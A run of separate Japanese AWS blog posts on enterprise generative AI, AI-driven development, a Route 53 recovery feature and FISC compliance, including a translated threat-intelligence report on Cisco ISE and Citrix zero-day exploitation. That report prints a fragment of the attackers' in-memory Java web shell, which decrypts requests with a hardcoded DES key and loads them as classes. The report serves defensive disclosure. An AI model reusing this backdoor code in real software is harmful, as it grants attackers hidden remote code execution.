ドキュメント登録処理の並列制御アーキテクチャ コスト最適化：用途別エンドポイントの使い分け ベクトル化処理において、検索時とドキュメント登録時では処理の特性が異なります。検索時はユーザーの質問をリアルタイムでベクトル化する必要があり、1 回あたりの処理データ量は少量ですが、常時稼働が求められます。一方、ドキュメント登録時は定期的なバッチ処理で数千〜数万のドキュメントを一括でベクトル化するため、大量のデータを処理する必要がありますが、常時稼働は不要です。 同社は、この特性の違いに応じて Amazon SageMaker AI のエンドポイントを 2 つに分けて運用しています。検索用エンドポイントは常時稼働が必要なため低コストな CPU インスタンスを採用し、ドキュメント登録用エンドポイントは高速処理のため GPU インスタンスを採用しつつ、処理がない時間帯はゼロスケーリングでコストを削減しています。この使い分けにより、高いパフォーマンスとコスト効率を両立しています。 お客様の評価と今後の展望 東京海上日動システムズ デジタルイノベーション本部 デジタルイノベーション開発部 佐田様からは以下のコメントをいただいています。 全社生成 AI プラットフォームの開発は、当社にとって非常にチャレンジングなプロジェクトでした。生成 AI をビジネスに効果的に活用していくために、大規模かつ高精度なナレッジ検索の機能は必要不可欠であると考えていますが、Amazon Bedrock Knowledge Bases をはじめとする AWS の各サービスおよびソリューションアーキテクトやサービス開発チームの皆様のサポートのおかげでこれを実現することができました。今後も、このプラットフォームを全社の生成 AI 基盤として拡大していき、金融業界における生成 AI 活用のリーディングケースを作っていきたいと考えています。 同社は今後、この全社生成 AI 実行基盤を AI エージェント実行基盤へと発展させていく方針です。Amazon Bedrock AgentCore などのサービスを活用し、多様なフレームワークやモデルを柔軟に組み合わせながら、AI エージェントを安全かつスケーラブルに運用できる環境の構築を目指しています。 まとめ 本事例を通じて、企業における生成 AI の本格展開に向けた重要な示唆が得られました。 生成 AI を全社に展開する際は、ガバナンス、スケーラビリティ、コスト効率を初期段階から考慮した基盤設計が重要です。マルチアカウント構成やゼロスケーリングなどの設計パターンにより、持続可能な運用が可能になります。 RAG システムの構築では、まず Amazon Bedrock Knowledge Bases で迅速に構築し、データソースの特性に応じて独自実装を追加する段階的なアプローチが有効です。マネージドサービスと独自実装を組み合わせることで、開発速度と柔軟性を両立できます。 また、RAG システムの性能は、ドキュメントの構造やデータソースの特性を深く理解することで大きく向上します。実際のデータで検証を行い、適材適所で技術を選択することが重要です。 同社が構築した全社生成 AI 実行基盤とその上で動作する RAG システムは、金融業界における生成 AI の本格展開のモデルケースとして、業界全体での活用促進に貢献することが期待されます。 著者 神部 洋介 (Yosuke Kambe) アマゾンウェブサービスジャパン合同会社 フィナンシャルサービス技術本部 ソリューションアーキテクト 2022 年に AWS に入社。前職は SIer で主に金融機関向けの基幹系システムやデータ分析基盤の開発に従事。現在は、保険会社のお客様を中心にデータ活用や生成 AI 活用をはじめとした様々な技術支援を行っている。

はじめに 本稿は AWS と LIFULL 様の共同執筆により、AI 駆動開発ライフサイクル（AI-DLC）Unicorn Gym の実践を通じて得られた学びとその後の変化をお伝えするものです。 LIFULL 様は AWS の ソフトウェア開発生成 AI アシスタントである Amazon Q Developer を全社的に活用し、エンジニアだけでなく企画職の方も業務の生産性向上に取り組まれています。個人単位でのAI Agentの活用は着実に進んでいますが、次のステップとして組織でどう活用していくかはまだ検討段階にありました。 組織的な活用をさらに進めるため、LIFULL 様と AWS で AI-DLC Unicorn Gym と呼ばれるワークショップに取り組み、AI-DLC の有効性を確認しました。本ブログでは AI-DLC Unicorn Gym の成果と、実施後の開発にどのような変化があったのかをお伝えします。 AI-DLC の詳細については、 AI-DLC のホワイトペーパー と 日本語の解説ブログ をご覧ください。 これまでの課題 LIFULL 様ではすでに多くのメンバーが Coding Agent を活用していましたが、その活用は個人レベルにとどまっていました。各自が独自の方法論を編み出し、それぞれのやり方で生産性を高めていたものの、組織全体として最適化できているとは言えない状況でした。 さらに、個人の活用レベルにも大きなばらつきがありました。AI を使いこなして高い生産性を実現しているメンバーがいる一方で、どう活用すればよいか手探りのメンバーも存在し、チーム全体としての底上げが課題となっていました。 AI-DLC Unicorn Gym の開催 この課題に対して、AWS と LIFULL 様は開発手法に AI-DLC を採用する検証を行うことにしました。AI-DLC Unicorn Gym は、AI-DLC を 3 日間で体験するワークショップです。ただし、単なる体験型のトレーニングではありません。参加チームは実際にプロダクション環境に搭載予定の機能をテーマとして持ち込み、企画、エンジニア、デザイナーが一堂に会して、本番リリースを目指して開発に取り組みます。 LIFULL 様では 6 チーム、約 30 名のメンバーが参加し、それぞれが実際のビジネス課題に対して AI-DLC を実践しました。3 日間という限られた時間の中で、要件定義から設計、実装、テストまでを一気通貫で進め、AI-DLC の効果を体感しました。 AI-DLC Unicorn Gym の成果 3 日間の短期間で、全てのチームが何らかの成果を上げました。3 チームは MVP の実装まで完了させ、うち 1 チームは Production 環境へのデプロイが可能なレベルまで実装を完了させました。 生産性向上の観点では、想定開発期間の 3 倍以上の速度で開発でき、AI-DLC により劇的に開発期間を短縮することを確認しました。 対象システム 取り組み内容 参加者構成 進捗 想定開発期間 AI-DLC 想定開発期間 生産性向上率 AI エージェント 住まい探しに関わる AI エージェントの開発 企画部門（2 名）・技術部門（4名）（計 6 名） モックまで完成 後日一部ユニットは AI-DLC で実装したものをそのままリリース済み 3 ヶ月 1 ヶ月 300 % 問合せ体験改善 AI を活用した問合せ体験の最適化 企画部門（計 3 名）・技術部門（計 4 名） モックまで完成 モックを踏まえ、改めて詳細な仕様を再検討中 3 ヶ月 1 ヶ月 300 % クライアント・営業向けレポート 会員や営業が利用するレポート機能の新規開発 企画部門（1 名）・技術部門（3 名）（計 4 名） モックまで完成 既存システムに実装するか新規に構築するかの調整中 3 ヶ月 1 ヶ月 300 % バックオフィスフローの自動化 バックオフィスフローに対する自動化 企画部門・技術部門（計 4 名） 開発継続中、他施策の合間を見て進行させていく予定 3 ヶ月 1 ヶ月 300 % 住宅ローンシミュレーション機能追加 物件詳細に、その物件の「月々支払額」がわかるローンシュミレーター機能を追加する 企画部門・技術部門（計 5 名） 3 日で開発は完了、リリースは延期 2 ヶ月 3 日 1300 % システム土台の入れ替え EOL したサービスの新しい基盤への移行 技術部門（計 3 名） 技術調査まで完了し、1 つ目のサービスの移管作業途中まで 1 年 3 ヵ月 400 % AI-DLC Unicorn Gym からの学び AI-DLC Unicorn Gym を通じて多くの学びを得ました。参加者のフィードバックから AI-DLC の知見を共有します。 同期的なコラボレーションの重要性 AI-DLC の最大の特徴は、企画・デザイナー・エンジニアが同期的に作業を進めることです。従来の非同期なプロセスでは、企画がビジネス要件を詰めて開発に調査を依頼し、フィードバックを待つ必要がありました。AI-DLC ではその場で技術的な実現可能性を確認しながら要件を詰められるため、リードタイムが大幅に削減されました。 エンジニアからは「今までユーザーストーリーに携わることはなかったけど、機能要件だけで判断しないことが分かるようになったのが良かった」という声が上がっています。さらに、AI が議論の内容を自動的にドキュメント化してくれることで、チーム全員が同じ理解を持ち、後から参加したメンバーもすぐにキャッチアップできる状態が作られました。 こうしたコラボレーションとドキュメント化により、要件定義や設計の質が飛躍的に向上し、実装やテストが驚くほど速く進むようになりました。あるチームでは「設計に 2 日かけたことで、コーディング自体は 30 分ぐらいだった」と報告しています。 AI-DLC をさらに加速させるために必要なこと 3 日間の体験を通じて、AI-DLC をより効果的に回していくために必要なことも明確になりました。 最も多く挙がったのが、社内ドキュメントや設計書の整備です。「既存システムを AI に理解させるための情報がまとまっておらず、既存システムの仕様調査に時間がかかってしまいました」という指摘がありました。ドキュメント整備はレビュープロセスの効率化にも直結し、「ナレッジを蓄積することでやりとりを減らせれば効率化できる」という気づきも得られています。 また、AI-DLC の高速な開発サイクルでは、人間がボトルネックになりやすいという課題も浮かび上がりました。「仕様策定や開発が高速化したことで、仕様やデザインの承認がボトルネックになる」という指摘がありました。裁量を現場に委譲しプロダクトチームが独自に意思決定できるようにすることが、AI-DLC をスムーズに回すための重要なポイントとなります。 AI-DLC Unicorn Gym 実施後の変化 AI-DLC Unicorn Gym の体験は、LIFULL 様の開発プロセスに具体的な変化をもたらしました。 最も象徴的な変化は、職種を超えたコラボレーションの日常化です。プロダクトマネージャーとエンジニアが共同で作業するために毎日 3 時間を確保するようになり、要件定義段階から企画・デザイナー・エンジニアの 3 職種が集まって検討及び議論をする機会が増えました。モブワークの重要性や効率の良さに気づけたことで、エンジニア・非エンジニアが定期的に集まってモブワークをする機会も増えています。 開発プロセスにも変化が現れました。小さなタスクでも AI-DLC のやり方に沿って「プラン→レビュー→実行→レビュー」のサイクルを回す機会が増え、基盤チームでは新規開発案件を基本的に AI-DLC をベースに進めていくことを決定しました。インフラ・サーバー構築など裏側にも活用できることが分かり、適用範囲が広がっています。 ツールやワークフローの面でも進化が見られます。サービス企画職メンバーも企画書・仕様書などの上流ドキュメントをマークダウンで作成し、GitHub 上でドキュメントのレビューや管理を行うようになりました。デザイナーは Figma MCP サーバーを活用してコーディングした HTML/CSS を対象リポジトリへ適用するためのワークフロー検討を始めています。 特筆すべきは、新卒メンバーの成長速度です。通常は時間をかけてキャッチアップする必要のある 20 年もののシステムへの機能追加を、入社半年の新卒メンバーが 3 日でできるようになりました。AI-DLC は、経験の浅いメンバーでも高度な開発に参加できる環境を作り出しています。 まとめ AI-DLC Unicorn Gym を通じて、LIFULL 様は個人レベルの AI 活用から組織レベルの活用へと大きく前進しました。3 日間で想定開発期間の 3 倍以上の生産性向上を実現し、3 チームが MVP 実装まで完了させました。 より重要なのは数字に表れない変化です。企画・デザイナー・エンジニアが同期的にコラボレーションする文化が根付き、「プラン→レビュー→実行→レビュー」という AI-DLC のサイクルが日常の開発プロセスに組み込まれています。属人化していたノウハウが方法論として言語化され、新卒メンバーでも高度な開発に参加できるようになりました。 LIFULL 様の AI-DLC への取り組みは、ここからさらに加速していきます。今後は、この学びを社内全体に展開し、より多くのプロジェクトで AI-DLC を実践することで、組織全体の生産性をさらに向上させていきます。 著者 長友 健人 (Kento Nagatomo) アマゾンウェブサービスジャパン合同会社　ソリューションアーキテクト デジタルネイティブビジネスを展開されるお客様を中心に技術支援をしています。 磯野 圭輔 (Keisuke Isono) 株式会社LIFULL テクノロジー本部 事業基盤部 LIFULLのAWSクラウドインフラ全体の管理・運用チームのエンジニアリングマネージャー AWS CDKでコード化することで「誰にでもわかる」インフラを作ることに注力している。 また、Amazon Q Developerの導入を主導し、AI-DLCによるチームのさらなる開発生産性向上も模索中。 吉永祐太（Yoshinaga Yuta) 株式会社LIFULL　LIFULL HOME’S事業本部プロダクトエンジニアリング部 賃貸・売買などのマーケットを横断した施策を推進するグループのエンジニアリングマネージャー

2025 年 11 月 26 日、パブリック DNS レコードを管理するための Amazon Route 53 高速復旧について発表しました。これは、米国東部 (バージニア北部) AWS リージョン のサービス中断時に 60 分の目標復旧時間 (RTO) を実現するように設計された、新しいドメインネームサービス (DNS) 事業継続特徴量です。この強化により、お客様は地域的な障害時でも DNS の変更やインフラストラクチャのプロビジョニングを継続できるようになり、ミッションクリティカルなアプリケーションの予測可能性と耐障害性が向上します。 AWS では、事業継続性を必要とするアプリケーションを実行しているお客様から、事業継続要件と規制遵守義務を満たすために、追加の DNS レジリエンス機能が必要だとお伺いしてきました。AWS はグローバルインフラストラクチャ全体で優れた可用性を維持していますが、銀行、フィンテック、SaaS などの規制対象業界の組織は、予期しない地域的な混乱が発生した場合でも、必要に応じてスタンバイクラウドリソースを迅速にプロビジョニングしたり、トラフィックをリダイレクトしたりできるという安心感を求めています。 パブリック DNS レコードを管理するための高速復旧は、米国東部 (バージニア北部) リージョンのサービスが中断されてから 60 分以内にお客様が実行できる DNS 変更を対象とすることで、このニーズに応えます。この特徴量は既存の Route 53 セットアップとシームレスに連携し、フェイルオーバーシナリオ中に ChangeResourceRecordSets 、 GetChange 、 ListHostedZones 、 ListResourceRecordSets などの主要な Route 53 API 操作へのアクセスを提供します。お客様は、アプリケーションやスクリプトを変更することなく、既存の Route 53 API エンドポイントを引き続き使用できます。 試してみましょう 高速復旧を使用するように Route53 ホストゾーンを設定するのは簡単です。ここでは、構築中の新しいウェブサイト用に新しいホストゾーンを作成しています。 ホストゾーンを作成すると、 [高速復旧] というラベルの付いた新しいタブが表示されます。ここで、高速復旧はデフォルトで無効になっていることがわかります。 有効にするには、 [有効化] ボタンをクリックして、下のダイアログに示すとおり表示されるモーダルで選択を確認するだけです。 高速復旧の有効化が完了するまでに数分かかります。有効にすると、下のスクリーンショットのように緑色の [有効化済み] ステータスが表示されます。 高速復旧は、 AWS マネジメントコンソール の同じ領域からいつでも無効にできます。また、既に作成した既存のホストゾーンの高速復旧を有効化することもできます。 DNS 事業継続性の強化 高速復旧を有効化すると、お客様はサービスの中断時にいくつかの重要な機能を利用できます。この特徴量により、必要な Route 53 API 操作へのアクセスが維持されるため、引き続き最も必要なタイミングで DNS 管理をご利用いただけます。組織は、サービスの全面的な復旧を待つことなく、引き続き重要な DNS の変更、新しいインフラストラクチャのプロビジョニング、トラフィックフローのリダイレクトを行うことができます。 この実装は、シンプルさと信頼性を重視して設計されています。お客様が新しい API を習得したり、既存の自動化スクリプトを変更したりする必要はありません。同じ Route 53 エンドポイントと API コールは引き続き動作し、通常の操作とフェイルオーバーの両方のシナリオでシームレスなエクスペリエンスをご提供します。 今すぐご利用いただけます Amazon Route 53 パブリックホストゾーンの高速復旧をご利用いただけるようになりました。この特徴量は、AWS マネジメントコンソール、 AWS コマンドラインインターフェイス (AWS CLI) 、 AWS ソフトウェア開発キット (AWS SDK) 、または AWS CloudFormation や AWS Cloud Development Kit (AWS CDK) などの Infrastructure as Code Tools から有効化できます。高速復旧を使用しても追加コストは発生しません。 高速復旧の詳細と使用方法については、 ドキュメント をご覧ください。 この新機能は、クラウドでミッションクリティカルなアプリケーションを構築して運用するために必要な DNS レジリエンスをお客様に提供するという AWS の継続的な取り組みの一環です。 原文は こちら です。

本ブログは 2025 年 11 月 12 日に公開された AWS Blog “ Amazon discovers APT exploiting Cisco and Citrix zero-days ” を翻訳したものです。 Amazon の脅威インテリジェンスチームは、高度な脅威アクターが Cisco Identity Service Engine (ISE) と Citrix システムにおける未公開のゼロデイ脆弱性を悪用していることを特定しました。この攻撃キャンペーンではカスタムマルウェアが使用され、複数の未公開脆弱性の悪用が確認されました。この発見は、脅威アクターが重要なアイデンティティとネットワークアクセス制御インフラストラクチャ (企業がセキュリティポリシーの実施とネットワーク全体の認証管理に依存しているシステム) を標的にしている傾向を示しています。 最初の発見 Amazon の MadPot ハニーポットサービスは、Citrix Bleed Two 脆弱性 (CVE-2025-5777) の公開前に、これを悪用するエクスプロイト試行を検出しました。これは、脅威アクターがこの脆弱性をゼロデイとして悪用していたことを示しています。Amazon の脅威インテリジェンスチームは、Citrix の脆弱性を悪用している脅威を深く調査しました。その結果、Cisco ISE の当時はドキュメント化されておらず、脆弱なデシリアライゼーション (逆シリアル化) ロジックを使用するエンドポイントを標的とする攻撃ペイロードを特定し、Cisco へ共有しました。この脆弱性は現在 CVE-2025-20337 として指定されており、脅威アクターは Cisco ISE に対して認証を経ずにリモートからコードを実行 (RCE) し、侵害されたシステムへの管理者レベルのアクセス権を取得することが可能になります。この発見で特に懸念されたのは、Cisco が CVE 番号を割り当てたり、Cisco ISE の影響を受けるすべてのバージョンに包括的なパッチをリリースしたりする前に、実際の環境でエクスプロイトが発生していたことです。この手法は「 パッチギャップ攻撃 」と呼ばれ、高度な攻撃グループの典型的な手口です。彼らはベンダーが公開するセキュリティ情報を常に監視し、パッチが全ユーザーに行き渡る前の空白期間を狙って攻撃を仕掛けます。 カスタム Web シェルのデプロイ エクスプロイトに成功した後、脅威アクターは IdentityAuditAction という名前の正規の Cisco ISE コンポーネントに偽装したカスタム Web シェルをデプロイしました。これは典型的な既製のマルウェアではなく、Cisco ISE 環境専用に設計されたカスタムビルドのバックドアでした。この Web シェルは高度な検出回避機能を備えていました。完全にインメモリで動作し、フォレンジックアーティファクト (痕跡) を最小限に抑え、Java リフレクションを使用して実行中のスレッドに自身を注入します。また、Tomcat サーバー全体のすべての HTTP リクエストを監視するリスナーとして登録され、非標準の Base64 エンコーディングを使用した DES 暗号化を実装し、特定の HTTP ヘッダーを正しく指定しなければアクセスできない仕組みでした。 以下は、攻撃者が自身の Web シェルにアクセスするための秘密の認証キーを検証するコードの一部です。 if (matcher find()) { requestBody = matcher group(1) replace("*", "a") replace("$", "l"); Cipher encodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); decodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); byte[] key = "d384922c" getBytes(); encodeCipher init(1, new SecretKeySpec(key, "DES")); decodeCipher init(2, new SecretKeySpec(key, "DES")); byte[] data = Base64 getDecoder() decode(requestBody); data = decodeCipher doFinal(data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); if (proxyClass == null) { proxyClass = this defineClass(data); } else { Object f = proxyClass newInstance(); f equals(arrOut); f equals(request); f equals(data); f toString(); } セキュリティへの影響 前述のとおり、Amazon の脅威インテリジェンスチームは、MadPot ハニーポットを通じて、脅威アクターが CVE-2025-20337 と CVE-2025-5777 の両方をゼロデイとして悪用し、調査時点でこれらの脆弱性を使用してインターネットを無差別に標的にしていたことを特定しました。この攻撃キャンペーンを通じて、ネットワークエッジの重要なエンタープライズインフラストラクチャを標的とする脅威アクターの進化する戦術が明らかになりました。脅威アクターのカスタムツールは、複数の技術レイヤーにわたる深い知識を示しました。エンタープライズ Java アプリケーションや Tomcat サーバーといった基盤技術から、Cisco Identity Service Engine 固有のアーキテクチャに至るまで、詳細に理解していたことが伺えます。複数の未公開ゼロデイエクスプロイトを使用していたことは、高度な脆弱性調査能力を持つ、または非公開の脆弱性情報源を持つ、潤沢なリソースを持つ脅威アクターであることを示しています。 セキュリティチームへの推奨事項 セキュリティチームにとって、これはアイデンティティ管理システムやリモートアクセスゲートウェイなどの重要なインフラストラクチャコンポーネントが、脅威アクターにとって依然として主要な標的であることを再認識させるものです。これらのエクスプロイトは認証なしに実行可能であるため、適切に設定され細心の注意を払って維持されているシステムでさえ影響を受ける可能性があります。したがって、包括的な多層防御戦略を実装し、異常な動作パターンを識別できる堅牢な検出機能を開発することが不可欠です。AWS は、ファイアウォールまたは多層アクセスを通じて、管理ポータルなどの特権セキュリティアプライアンスエンドポイントへのアクセスを制限することを推奨しています。 ベンダーリファレンス NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2025-5349 and CVE-2025-5777 Cisco Identity Services Engine Unauthenticated Remote Code Execution Vulnerabilities この投稿に関するご質問やサポートについては、 AWS サポート にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。CJ は Amazon 全体のセキュリティエンジニアリングと運用を統括しています。彼の使命は、セキュリティ対策を最も導入しやすい選択肢とすることで、Amazon のビジネスを支えることです。CJ は 2007 年 12 月に Amazon に入社し、Consumer CISO、そして最近では AWS CISO など、さまざまな役割を担当した後、2023 年 9 月に Amazon Integrated Security の CISO になりました。 Amazon に入社する前、CJ は連邦捜査局 (FBI) のサイバー部門でコンピュータおよびネットワーク侵入対策の技術分析を統括していました。CJ は空軍特別捜査局 (AFOSI) の特別捜査官も務めました。CJ は、今日のセキュリティ業界の基礎と見なされているいくつかのコンピュータ侵入調査を主導しました。 CJ はコンピュータサイエンスと刑事司法の学位を持ち、SRO GT America GT2 レースカーの現役ドライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本記事は Kiroweeeeeeek in Japan ( X: #kiroweeeeeeek ) の第 10 日目です。GitLab 合同会社 小松原様に寄稿いただきました。 はじめに：開発が速すぎる時代の新しい課題 Kiro の登場により、ソフトウェア開発は劇的に加速しました。チャットで要望を伝えるだけで、あっという間に仕様書が生成され、コードが書かれる。開発者にとっては夢のようなツールです。 しかし、この「速すぎる開発」は、特に日本の開発現場において新たな課題を生み出しています。 それは、発注元と開発会社の間に生まれるスピードギャップ です。 発注元の担当者はこう悩みます。「開発が速すぎて、レビューが追いつかない」「コードを見せられても、正直よくわからない」「品質は本当に大丈夫なのか？」 一方、開発会社側も苦しんでいます。「Kiro で速く作れるのに、レビュー待ちで開発が止まる」「後から『思っていたのと違う』と言われて大幅な手戻り」「非エンジニアへの技術説明に膨大な時間を取られる」 本記事では、GitLab Self-Hosted Model（Amazon Bedrock 活用）を組み合わせることで、この課題を解決する新しい開発パートナーシップモデルを提案します。 日本の開発現場の実態：発注元と開発会社の分離 日本のソフトウェア開発において、発注元と開発会社が分離しているケースは非常に一般的です。 発注元の立場： ビジネス要件は理解している しかし、プログラミングの経験はない コードレビューは実質的に不可能 「動くものを見て初めて理解できる」状態 開発会社の立場： 技術的な実装は得意 しかし、発注元の真のニーズを引き出すのは難しい 後段での仕様変更・手戻りに悩まされる レビュー待ちによる非効率な稼働 従来、この問題は「丁寧なコミュニケーション」「詳細な要件定義」「時間をかけたレビュー」で解決しようとしてきました。しかし、それでは Kiro の圧倒的なスピードを活かしきれません。 Kiro の強みと、それがもたらす新たな課題 Kiro の最大の特徴は、 いきなりコードを書くのではなく、まず仕様書を生成してくれる点 にあります。これは実は非常に重要な機能です。 しかし、現実にはこの仕様書レベルでの認識合わせが十分にできていません。 なぜなら： 仕様書が詳細すぎる ：技術的な詳細が多く、非エンジニアには理解しづらい 考慮漏れの発見が難しい ：発注元が「何が書かれていないか」を判断できない コード生成が速すぎる ：仕様書のレビューが終わらないうちに実装が進む 結果として、「実装完了後に初めて問題が発覚」→「大幅な手戻り」というパターンが頻発します。 「ソフトウェア工学の研究では、バグ修正コストは発見タイミングによって劇的に変わることが示されています。 一般的に： 要件定義段階：基準 コーディング段階：2〜5 倍 統合・テスト段階：5 〜 10 倍 本番環境：10 〜 30 倍以上 つまり、 早期に問題を発見することが、コスト削減の最大の鍵 なのです。 解決策：GitLab + Amazon Bedrock による「仕様書レベルの品質担保」 ここで登場するのが、GitLab Duo Self-Hosted（Amazon Bedrock 活用）です。 GitLab Duo Self-Hosted は、自社環境内にAI Gatewayを配置し、Amazon Bedrock を通じて Anthropic の Claude などの大規模言語モデルを利用できる仕組みです。重要なのは、データが自社ドメイン内に保持され、外部 API への依存なしに GitLab Duo 機能（コードレビュー、チャット、コード生成など）を活用できる点です。つまり、セキュリティ要件が厳しい企業でも、最新の AI 技術を安心して活用できます。 これを Kiro と組み合わせることで、以下のような新しいワークフローが実現します。 ステップ1：発注元が要望を下書き 発注元の担当者は、ラフな要望を GitLab のイシュー機能に書き込みます。技術的な詳細は不要です。「エアコンのリモートコントロール機能が欲しい」といった業務レベルの記述で十分です。 ステップ2：GitLab AI が要件を整形 GitLab 上の AI（Amazon Bedrock）が、この下書きを正式な要件仕様に整形してくれます。必要な技術要素、考慮すべきセキュリティ、エラーハンドリングなどを自動的に追加し、「プロが書いた要件定義書」に仕上げます。 ステップ3：Kiro が詳細仕様書を生成 開発会社のエンジニアは、このイシューを Kiro に渡します。Kiro は自社の技術スタックや開発標準を理解した上で、詳細な仕様書（Spec ファイル）を生成します。これを GitLab へ Commit & Push します。 ステップ4：GitLab AI が発注元目線でレビュー ここが最も重要なポイントです。発注元の担当者は、Kiro が生成した仕様書を直接レビューする必要はありません。代わりに、 GitLab AIに 質問します 。 「この仕様書に考慮漏れはありますか？」 「セキュリティ上の問題はありますか？」 「当初の要望と違う部分はありますか？」 GitLab AI は、以下のような観点で自動的にレビューを実施し、日本語でフィードバックします： セキュリティ関連 ：認証・認可の不備、通信暗号化の欠如など エラーハンドリング ：ネットワーク障害時の対応、エアコンが応答しない場合の処理など 機能面 ：現在室温の表示、操作履歴の記録、複数台のエアコン管理など 発注元の担当者は、これらの指摘を見て「確かに、それも必要だ」と気づくことができます。今までのやり方とは次元が違うレビューが可能になっていますよね。 ステップ5：Kiro が仕様を修正 GitLab AI の指摘を受けて、開発会社のエンジニアは Kiro に修正を依頼します。Kiro は数分で仕様書を更新し、コード生成へと進みます。 ステップ6：GitLab AI がコード品質もチェック 生成されたコードも、GitLab AI が自動的にレビューします。コーディング規約、脆弱性、パフォーマンス上の問題などを自動検出し、必要に応じて Kiro に修正を依頼できます。 経済合理性：なぜこのモデルが持続可能なのか このワークフローがもたらす経済的メリットを整理しましょう。 削減できるコスト レビュー待ち時間の削減 : 従来、発注元のレビューには数日から数週間かかることも珍しくありませんでした。その間、開発会社のエンジニアは次の作業に進めず、非効率な稼働となります。GitLab AIによる自動レビューで、この待ち時間を大幅に削減できます。 手戻りコストの削減 : 前述の通り、後段での修正は初期段階の5倍以上のコストがかかります。仕様書段階で問題を発見できれば、コーディング後やテスト後の大幅な手戻りを防げます。 コミュニケーションコストの削減 : エンジニアが非エンジニアに技術的な説明をする時間は、想像以上に大きなコストです。GitLab AIが「翻訳者」の役割を果たすことで、このコストを大幅に削減できます。 品質向上による保守コストの削減 : 早期段階でのAIレビューにより、セキュリティ問題や設計上の欠陥が減少します。これは、リリース後の保守・運用フェーズでのコスト削減にもつながります。 新時代のパートナーシップ：AI が繋ぐ信頼関係 このモデルが実現するのは、単なるコスト削減ではありません。 発注元と開発会社の新しい信頼関係 です。 発注元にとって ： コードを理解できなくても、品質を担保できる安心感 早期段階で「本当に欲しいもの」を確認できる 開発会社への的確なフィードバックが可能に 開発会社にとって ： レビュー待ちのストレスから解放 手戻りが減り、計画通りの開発が可能に 技術的な説明ではなく、本質的な開発に集中できる 両者にとって ： 仕様書レベルでの継続的な対話 早期の問題発見による「左シフト」の実現 スピード（Kiro）と品質（GitLab AI）の両立 まとめ：持続可能な開発パートナーシップへ AI 時代の開発は、単に「速く作る」だけでは不十分です。発注元と開発会社が、それぞれの強みを活かしながら協働できる仕組みが必要です。 Kiro が実現する圧倒的なスピードと、GitLab + Amazon Bedrock が実現する品質担保。この 2 つを組み合わせることで、両者が幸せになる持続可能な開発パートナーシップが実現します。 「速すぎて困る」という贅沢な悩みを、「速いからこそ品質も高められる」という新しい価値に転換する。それが、これからのソフトウェア開発のあるべき姿なのかもしれません。 著者 小松原 つかさ GitLab 合同会社 シニアパートナーソリューションアーキテクト 長きに渡るソフトウェア開発経験を持ち、データベース、セキュリティ、ビッグデータの領域での深い専門知識を持ちます。2022 年にGitLab に参加し、AI 駆動型開発ツールがもたらす新しい開発パラダイムの構築に取り組んでいます。

本ブログは、「 金融機関向け AWS FISC 安全対策基準対応リファレンス 」（以下、AWS FISC 安全対策基準対応リファレンス ）と 金融リファレンスアーキテクチャ日本版 中の「 AWS Well-Architected フレームワーク FSI Lens for FISC 」（以下、FSI Lens for FISC）における「 金融機関等コンピュータシステムの安全対策基準・解説書（第13版） 」（以下、「FISC 安全対策基準・解説書（第 13 版）」）への対応についてまとめています。また、FSI Lens for FISC で参照した「 AWS Well-Architected Framework Generative AI Lens 」（以下、Gen AI Lens）についても補足しています。 1. FISC 安全対策基準・解説書に関しての AWS の取り組み 「FISC 安全対策基準・解説書」は、1985 年に初版が発行されて以来、金融機関のシステムアーキテクチャおよび運用に関する指針として多くの金融機関によって活用されています。より安全に AWS をご活用いただくために、AWS は「AWS FISC 安全対策基準対応リファレンス 」を提供しています。これは「FISC 安全対策基準・解説書」が求める各管理策に対する AWS の取り組みとお客様の責任範囲で実施する事項をまとめており、お客様はどなたでも入手することが可能です。 また、「FISC 安全対策基準・解説書」の各実務基準に沿って、金融サービス業界のワークロードにおける回復力、セキュリティ、および運用パフォーマンスを促進する方法を記載したドキュメントとして、「FSI Lens for FISC」を AWS は提供しています。お客様はどなたでも、このドキュメントもご利用いただけます。金融サービス業界の特性に依存しない一般的なベストプラクティス集である AWS Well-Architected フレームワーク と合わせてご参照ください。 2. AWS FISC 安全対策基準対応リファレンス と FISC 安全対策基準・解説書（第 13 版）対応について 2025 年 3 月に「FISC 安全対策基準・解説書（第 13 版）」が公開されました。この公開に合わせて、「AWS FISC 安全対策基準対応リファレンス 」では主に以下の変更を行いました。 「金融分野におけるサイバーセキュリティに関するガイドライン」に関する改訂への対応 AI の安全対策に関する改訂への対応AI の安全対策に関する改訂への対応 詳細は、AWS FISC 安全対策基準対応リファレンスの PDF ファイル における赤色でハイライトされた箇所をご確認ください。 図 1. AWS FISC 安全対策基準対応リファレンスの例 3. FSI Lens for FISC におけるアップデートについて 「FISC 安全対策基準・解説書（第 13 版）」の公開に合わせ、FSI Lens for FISC では主に次のようなアップデートがあります。 実務基準ごとの FSI Lens for FISC および AWS Well-Architected フレームワーク対応表（以下、対応表）の更新 FISCSEC5 において新たなベストプラクティス「 FISCSEC5-BP05 」を追加 対応表の更新 対応表は、FISC 安全対策基準・解説書（第 13 版）における各実務基準ごとに、準拠する上で参照できる AWS Well-Architected Framework と FSI Lens for FISC のベストプラクティスを記載したものです。 本アップデートでは、FISC 安全対策基準・解説書（第 13 版）と AWS Well-Architected Framework と FSI Lens for FISC のベストプラクティスのマッピングを更新に加え、FISC 安全対策基準・解説書（第 12 版）に対する対応表を追記し、12 版から 13 版への変更箇所の明瞭化を行いました。また、対応する AWS Well-Architected Framework の柱を追加した理由を記載することで、変更理由を知ることができます。 FISC 安全対策基準・解説書（第 13 版）では、AI・生成 AI の利用が急速に拡大していることを踏まえ、そのリスク対応のために新たな AI の安全対策に関する基準項目が新設されました。該当項目に対しては、Gen AI Lens を参照するように変更しました。 Gen AI Lens は、AWS 上で生成 AI アプリケーションを構築する組織向けのリソースです。このリソースは、セキュリティ、効率性、スケーラビリティ、責任ある AI の原則に沿ったアプリケーション構築のためのガイダンスとベストプラクティスを提供します。Gen AI Lens は運用上の優秀性、セキュリティ、信頼性、パフォーマンス効率、コスト最適化、持続可能性という 6 つの主要な柱に基づき、モデル選択からデプロイ、継続的改善まで、生成 AI アプリケーションのライフサイクル全体にわたる実用的なインサイトを提供します。 図 2. 対応表の例 FISCSEC5-BP05 を追加 FISC 安全対策基準・解説書（第 13 版）の実務基準においては、多要素認証（MFA）の実装に関する指摘があります。これまで、MFA に言及がある基準については、AWS Well-Architected Framework SEC 2 